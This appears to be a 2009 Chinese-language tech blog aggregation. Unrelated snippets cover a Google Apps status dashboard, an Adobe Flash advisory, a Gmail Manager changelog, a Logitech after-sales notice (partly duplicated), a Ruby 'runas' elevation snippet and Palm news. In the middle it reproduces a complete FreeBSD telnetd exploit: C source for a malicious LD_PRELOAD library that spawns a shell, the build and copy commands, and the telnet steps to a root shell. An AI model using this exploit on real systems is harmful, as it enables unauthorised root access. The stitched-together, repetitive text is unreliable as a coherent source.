有戒於前幾天 Gmail 大爆炸,Google Release 了 Apps Status Dashboard。
比 Windows Live Messenger 的服務狀態感覺有誠意多了,不是嗎?XD
A potential vulnerability has been identified in Adobe Flash Player 10.0.12.36 and earlier that could allow an attacker who successfully exploits this potential vulnerability to take control of the affected system. A malicious SWF must be loaded in Flash Player by the user for an attacker to exploit this potential vulnerability. Additional vulnerabilities have been addressed in this update. Adobe recommends users update to the most current version of Flash Player available for their platform.
What's new in 0.5.7.1 released 2/15/2009自從用了 Gmail Offline 之後 Gmail Manager 就一直不正常。
- Fixed Gmail login redirect loop
羅技電子全新產品售後服務將於2009年2月16日正式啟動,以最專業、最貼心、最高品質的服務提供予廣大消費者。位於台北的客服中心及中南部收件窗口也將於2009年4月1日起不再接受現場更換產品服務及寄件更換服務。
羅技電子秉持對品牌的承諾與顧客至上的原則,於2009年2月16日正式啟動全新型態的產品售後服務,讓消費者既省荷包,又可擁有更便利的產品送修方式。
消費者只需持購買證明及整組產品至原購買的經銷商(原購買店家、門市),即可獲得產品更換服務。
羅技電子全新產品售後服務將於2009年2月16日正式啟動,以最專業、最貼心、最高品質的服務提供予廣大消費者。位於台北的客服中心及中南部收件窗口也將於2009年4月1日起不再接受現場更換產品服務及寄件更換服務。
1: require 'Win32API'
2:
3: def shell_execute(process_name)
4: process = ''
5: process.replace(process_name)
6: se = Win32API.new("shell32", "ShellExecute", ['P','P','P','P','P','I'], 'I')
7: se.Call(nil,"runas",process,nil,nil,5)
8: end
9:
10: shell_execute(ARGV[0])
# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
FILE *f;
setenv("LD_PRELOAD", "", 1);
system("echo ALEX-ALEX;/bin/sh");
}
---snip-----
Then we compile this stuff.
---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
---snip-----
Then we copy the file to a known location (local root exploit)
---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----
...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.
---snip-----
#telnet
/>auth disable SRA
/>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
/>open target
---snip-----
ALEX-ALEX
#ROOTSHELL
There will be no more PalmOS devices released by Palm (excepting the Centro getting released on other carriers). They're focused on webOS and Windows Mobile.
